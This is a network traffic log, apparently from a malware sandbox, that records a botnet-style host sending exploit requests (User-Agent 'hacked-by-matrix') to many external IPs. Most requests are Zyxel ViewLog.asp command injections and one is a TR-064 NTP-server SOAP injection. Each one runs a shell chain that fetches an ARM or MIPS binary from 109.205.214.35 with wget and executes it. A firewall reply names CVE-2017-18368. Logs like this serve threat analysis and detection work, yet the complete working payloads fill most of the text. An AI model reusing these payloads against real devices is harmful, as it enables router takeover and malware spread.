Mar 21, 2024 05:18:42.004154921 CET	1286	IN	Data Raw: 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 Data Ascii: == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshor
Mar 21, 2024 05:18:42.004484892 CET	857	IN	Data Raw: 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 Data Ascii: se{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.13	37760	178.22.137.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.482889891 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:41.663682938 CET	475	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:18:41 GMT Server: Apache Location: https://127.0.0.1 Content-Length: 225 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1">here</a>.</p></body></html>
Mar 21, 2024 05:18:41.663697004 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:41 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.13	52562	200.37.24.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.511431932 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:41.711783886 CET	1	IN	Data Raw: 96 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.13	33904	80.97.236.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.511902094 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:41.718414068 CET	411	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:50:18 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.13	41870	80.94.22.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.512120008 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:41.718868971 CET	336	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 21 Mar 2024 04:18:41 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:41.718904972 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.13	45182	82.222.81.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.513854980 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:42.582966089 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:43.830984116 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.035681009 CET	1306	IN	HTTP/1.0 403 Forbidden Content-Type: text/html; charset="utf-8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 56 65 72 64 61 6e 61 2c 20 53 61 6e 73 2d 53 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 7d 64 69 76 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 6f 78 20 7b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 32 46 32 46 32 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 31 30 70 78 20 32 30 70 78 20 31 30 70 78 3b 7d 70 20 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 7d 2e 72 65 64 20 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 20 52 65 64 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 61 6e 64 20 7b 68 65 69 67 68 74 3a 20 32 30 70 78 3b 63 6f 6c 6f 72 3a 20 57 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 33 33 33 33 33 3b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 20 30 70 78 20 31 30 70 78 3b 7d 64 69 76 23 77 72 61 70 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 30 70 78 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 78 22 3e 3c 70 20 63 6c 61 73 73 3d 22 72 65 64 22 3e 52 65 71 75 65 73 74 20 64 65 6e 69 65 64 20 62 79 20 57 61 74 63 68 47 75 61 72 64 20 46 69 72 65 77 61 6c 6c 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 20 52 65 61 73 6f 6e 3a 20 3c 2f 62 3e 20 49 50 53 20 64 65 74 65 63 74 65 64 20 66 6f 72 20 22 57 45 42 20 5a 79 78 65 6c 20 50 36 36 30 48 4e 2d 54 20 76 31 20 52 6f 75 74 65 72 20 55 6e 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 52 65 6d 6f 74 65 20 43 6f 6d 6d 61 6e 64 20 45 78 65 63 75 74 69 6f 6e 20 28 43 56 45 2d 32 30 31 37 2d 31 38 33 36 38 29 2f 57 65 62 20 74 68 72 65 61 74 73 22 20 3c 2f 70 3e 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 66 6f 72 20 61 73 73 69 73 74 61 6e 63 65 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 57 61 74 63 68 47 75 61 72 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><title>Request Denied</title><style type="text/css">body {font-family: Arial, Helvetica, Verdana, Sans-Serif;font-size: small;font-weight: normal;color: #000000;}div {margin-left: auto;margin-right: auto;text-align: center;}.box {width: 600px;background-color: #F2F2F2;border-left: solid 1px #C2C2C2;border-right: solid 1px #C2C2C2;vertical-align: middle;padding: 20px 10px 20px 10px;}p {text-align: left;}.red {font-weight: bold;color: Red;text-align: center;}.band {height: 20px;color: White;background: #333333;width: 600px;border-left: solid 1px #333333;border-right: solid 1px #333333;padding: 3px 10px 0px 10px;}div#wrap {margin-top: 50px;}</style></head><body><div id="wrap"><div class="band"></div><div class="box"><p class="red">Request denied by WatchGuard Firewall.</p><p><b> Reason: </b> IPS detected for "WEB Zyxel P660HN-T v1 Router Unauthenticated Remote Command Execution (CVE-2017-18368)/Web threats" </p><p>Please contact your administrator for assistance.</p></div><div class="band">WatchGuard Technologies Inc.</div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.13	48118	98.122.136.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.622421980 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.13	60016	83.145.244.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.718040943 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:42.803828001 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 